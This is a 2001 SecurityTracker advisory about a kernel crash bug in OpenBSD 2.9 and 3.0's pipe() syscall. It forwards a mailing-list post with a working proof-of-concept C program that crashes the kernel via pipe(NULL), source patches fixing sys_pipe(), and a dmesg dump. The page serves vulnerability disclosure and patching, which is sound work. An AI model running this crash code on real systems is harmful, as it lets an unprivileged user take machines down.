Home    |    View Topics    |    Search    |    Contact Us    |   



Category:   OS (UNIX)  >   OpenBSD Kernel Vendors:   OpenBSD
OpenBSD UNIX Operating System Kernel Pipe() Error Lets Local Users Crash the Kernel
SecurityTracker Alert ID:  1002886
SecurityTracker URL:
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Dec 3 2001
Impact:   Denial of service via local system
Exploit Included:  Yes  
Version(s): 2.9, 3.0; possibly other kernel versions
Description:   A denial of service vulnerability has been reported in the OpenBSD UNIX operating system. A local unprivileged user can cause the kernel to crash.

A local non-root user can cause the kernel to crash. If a user attempts to open a pipe() with a null file descriptor, the kernel will crash. The flaw is reportedly due to some incorrect code in the sys_pipe() function in the uipc_syscalls.c source code file. When the sys_pipe() function encounters a certain file descriptor error, it releases a user-level variable (retval) instead of the kernel-level variable (rval). Because pipe() was originally called with a NULL file descriptor and, as a result, the retval pointer was pointing at NULL, the release of the retval space causes unexpected and unstable behavior.

This flaw was apparently discovered by Marco Peereboom <>.

This flaw has reportedly been verified by Rapid 7.

Some demonstration exploit code is contained in the Source Message.

Impact:   A local non-root user can cause the kernel to crash.
Solution:   An unofficial patch for kernel version 2.9 is included in the Source Message. Official patches will likely be released shortly.
Vendor URL: (Links to External Site)
Cause:   Exception handling error, Resource error
Underlying OS:  UNIX (OpenBSD)

Message History:   None.

 Source Message Contents

Subject:  OpenBSD local DoS


A local denial of service attack against OpenBSD
was published today (Sunday Dec 02) to the mailing list by Marco Peereboom

I'm forwarding his message on to the general security

The effect of the attack is to crash the system.
The user does not have to be root. OpenBSD 2.9 is
vulnerable, and apparently 3.0 is also vulnerable.

We were able to reproduce this on our OpenBSD 2.9-STABLE

One suggested workaround is to harden your OpenBSD system
with the "Stephanie" TPE (trusted path execution) kernel
patch. We were not able to reproduce this exploit against
our Stephanie-patched OpenBSD systems. More information
can be found at:

Disclaimer and Copyright

    Rapid 7, Inc. is not responsible for the misuse of the information
    provided in our security advisories. These advisories are a service
    to the professional security community.  There are NO WARRANTIES
    with regard to this information. Any application or distribution of
    this information constitutes acceptance AS IS, at the user's own
    risk.  This information is subject to change without notice.

    This advisory Copyright (C) 2001 Rapid 7, Inc.  Permission is
    hereby granted to redistribute this advisory in electronic media
    only, providing that no changes are made and that the copyright
    notices and disclaimers remain intact.  This advisory may not be
    printed or distributed in non-electronic media without the
    express written permission of Rapid 7, Inc.

The original message to is included below.

Version: PGP 7.0.1


The original message follows:

Date: Sun, 02 Dec 2001 11:22:45 -0600
From: Marco Peereboom <>
Subject: Code that crashes kernel at will + proposed patch


While I was coding away in userland I ran into a piece of code that will
crash the kernel regardless of user (root or non-root). I started
playing around with this and I found out that oBSD 2.9 & oBSD 3.0 are
both vulnerable (I don't have any earlier boxes but this will likely
crash them as well). I tried to isolate it and the shortest code I came
up with that always crashes the kernel is:

[root@corona src]# cat crashme.c
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/wait.h>
#include <signal.h>
#include <stdarg.h>
#include <syslog.h>

/* globals */
int fd[8]; /* temp pipe file descriptors */
int fd_real[4]; /* real pipe's */

static int __DEBUG__  = 0;
static int __SYSLOG__  = 0;

void enable_debug(void)
         __DEBUG__ = 1;

void disable_debug(void)
         __DEBUG__ = 0;

void enable_syslog(void)
         __SYSLOG__ = 1;

void disable_syslog(void)
         __SYSLOG__ = 0;

void s_fprintf(FILE *file, const char *fmt, ...)
         va_list ap;

         if (__DEBUG__) {

                 va_start(ap, fmt);
                 vfprintf(file, fmt, ap);


         if (__SYSLOG__) {
                 va_start(ap, fmt);
                 vsyslog(LOG_INFO, fmt, ap);

void *s_malloc(size_t size)
         char serr[40]; /* can not allocate more mem so lets use this
ugly beast */
         void *p;

         if (__DEBUG__ || __SYSLOG__) {
                 s_fprintf(stderr, "PID=%-5i PPID=%-5i: malloc(%i)\n",
getpid(), getppid(), size);

         if ((p = malloc(size)) == NULL ) {
                 sprintf(serr,"PID=%i, Could not allocate memory",

         return p;

void s_perror(const char *str)
         char *buf;

         if (__DEBUG__ || __SYSLOG__) {
                 s_fprintf(stderr, "PID=%-5i PPID=%-5i: perror(%s)\n",
getpid(), getppid(), str);

         buf = s_malloc(11 + strlen(str)); /* PID=%-5i = 11 chars */
         sprintf(buf, "PID=%-5i %s", getpid(), str);


void s_pipe(int *fd)
         if (__DEBUG__ || __SYSLOG__) {
                 s_fprintf(stderr, "PID=%-5i PPID=%-5i: pipe(%x)\n",
getpid(), getppid(), (unsigned int)fd);

         if (pipe(fd) == -1)
                 s_perror("Could not create pipe");

int main(int argc, char **argv)

         fprintf(stderr, "Before pipe\n");
         s_pipe(NULL); /* test if s_pipe exits */
         fprintf(stderr, "Will never reach this\n");

         return 0;

I also tried this:
[root@corona src]# cat a.c
int main(int argc, char **argv)
         if (pipe(0) == -1)
         return 0;
This does however not crash the kernel. That kind of explains why it
went undetected.

I tried to debug the kernel and I was partially successful at that. I
definitively need more practice at BSD kernel debugging ;) but I did
find what was wrong. We were releasing the user mode retval instead of
the *real* rval kernel mode values. And since retval was pointing at
NULL bad things happened.
Anyway here is the patch for 3.0:
[root@corona kern]# diff -u uipc_syscalls.c.old uipc_syscalls.c
--- uipc_syscalls.c.old Sun Dec  2 10:48:21 2001
+++ uipc_syscalls.c     Sun Dec  2 10:48:48 2001
@@ -903,8 +903,8 @@
         error = copyout((caddr_t)fds, (caddr_t)SCARG(uap, fdp),
             2 * sizeof (int));
         if (error) {
-               fdrelease(p, retval[0]);
-               fdrelease(p, retval[1]);
+               fdrelease(p, rval[0]);
+               fdrelease(p, rval[1]);
         return (error);

Here is the patch for 2.9:
[root@vuurmuur kern]# diff -u uipc_syscalls.c.old uipc_syscalls.c
--- uipc_syscalls.c.old Sun Dec  2 11:00:51 2001
+++ uipc_syscalls.c     Sun Dec  2 11:01:17 2001
@@ -886,8 +886,8 @@
         error = copyout((caddr_t)fds, (caddr_t)SCARG(uap, fdp),
             2 * sizeof (int));
         if (error) {
-               fdrelease(p, retval[0]);
-               fdrelease(p, retval[1]);
+               fdrelease(p, rval[0]);
+               fdrelease(p, rval[1]);
         return (error);

[root@corona root]# dmesg
OpenBSD 3.0-current (GENERIC) #5: Sun Dec  2 11:10:30 CST 2001
cpu0: Intel Pentium III (Coppermine) ("GenuineIntel" 686-class) 647 MHz
real mem  = 402087936 (392664K)
avail mem = 366768128 (358172K)
using 4933 buffers containing 20205568 bytes (19732K) of memory
mainbus0 (root)
bios0 at mainbus0: AT/286+(00) BIOS, date 07/26/01, BIOS32 rev. 0 @
apm0 at bios0: Power Management spec V1.2
apm0: battery life expectancy 100%
apm0: AC on, battery charge high, estimated 5:51 hours
pcibios0 at bios0: rev. 2.1 @ 0xf0000/0x10000
pcibios0: PCI IRQ Routing Table rev. 1.0 @ 0xfbd20/128 (6 entries)
pcibios0: PCI Interrupt Router at 000:07:0 ("Intel 82371 PCI-ISA and
IDE" rev 0x00)
pcibios0: PCI bus #3 is the last bus
bios0: ROM list: 0xc0000/0x10000
pci0 at mainbus0 bus 0: configuration mode 1 (no bios)
pchb0 at pci0 dev 0 function 0 "Intel 82443BX PCI-AGP" rev 0x03
ppb0 at pci0 dev 1 function 0 "Intel 82443BX AGP" rev 0x03
pci1 at ppb0 bus 1
vga1 at pci1 dev 0 function 0 "ATI Mobility 1" rev 0x64
wsdisplay0 at vga1: console (80x25, vt100 emulation)
wsdisplay0: screen 1-5 added (80x25, vt100 emulation)
cbb0 at pci0 dev 3 function 0 "Texas Instruments PCI1225 PCI-CardBus"
rev 0x01: irq 11
cbb1 at pci0 dev 3 function 1 "Texas Instruments PCI1225 PCI-CardBus"
rev 0x01: irq 11
pcib0 at pci0 dev 7 function 0 "Intel 82371AB PIIX4 ISA" rev 0x02
pciide0 at pci0 dev 7 function 1 "Intel 82371AB IDE" rev 0x01: DMA,
channel 0 wired to compatibility, channel 1 wired to compatibility
wd0 at pciide0 channel 0 drive 0: <IC25N030ATDA04-0>
wd0: 16-sector PIO, LBA, 28615MB, 16383 cyl, 16 head, 63 sec, 58605120
wd0(pciide0:0:0): using PIO mode 4, Ultra-DMA mode 2
pciide0: channel 1 ignored (disabled)
uhci0 at pci0 dev 7 function 2 "Intel 82371AB USB" rev 0x01: irq 11
usb0 at uhci0: USB revision 1.0
uhub0 at usb0
uhub0: vendor 0x0000 UHCI root hub, class 9/0, rev 1.00/1.00, addr 1
uhub0: 2 ports with 2 removable, self powered
"Intel 82371AB Power Mgmt" rev 0x03 at pci0 dev 7 function 3 not
"ESS Maestro 3" rev 0x10 at pci0 dev 8 function 0 not configured
cardslot0 at cbb0 slot 0 flags 0
cardbus0 at cardslot0: bus 2 device 0 cacheline 0x8, lattimer 0x20
pcmcia0 at cardslot0
cardslot1 at cbb1 slot 1 flags 0
cardbus1 at cardslot1: bus 3 device 0 cacheline 0x8, lattimer 0x20
pcmcia1 at cardslot1
isa0 at pcib0
isadma0 at isa0
pckbc0 at isa0 port 0x60/5
pckbd0 at pckbc0 (kbd slot)
pckbc0: using irq 1 for kbd slot
wskbd0 at pckbd0: console keyboard, using wsdisplay0
pms0 at pckbc0 (aux slot)
pckbc0: using irq 12 for aux slot
wsmouse0 at pms0 mux 0
pcppi0 at isa0 port 0x61
midi0 at pcppi0: <PC speaker>
sysbeep0 at pcppi0
lpt0 at isa0 port 0x378/4 irq 7
npx0 at isa0 port 0xf0/16: using exception 16
pccom0 at isa0 port 0x3f8/8 irq 4: ns16550a, 16 byte fifo
fdc0 at isa0 port 0x3f0/6 irq 6 drq 2
fd0 at fdc0 drive 0: 1.44MB 80 cyl, 2 head, 18 sec
biomask 4840 netmask 4840 ttymask 58c2
pctr: 686-class user-level performance counters enabled
mtrr: Pentium Pro MTRR support
dkcsum: wd0 matched BIOS disk 80
root on wd0a
rootdev=0x0 rrootdev=0x300 rawdev=0x302
an0 at pcmcia1 function 0 "Cisco Systems, 340 Series Wireless LAN
Adapter": address 00:40:96:44:e1:3b


Go to the Top of This SecurityTracker Archive Page

Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2021, LLC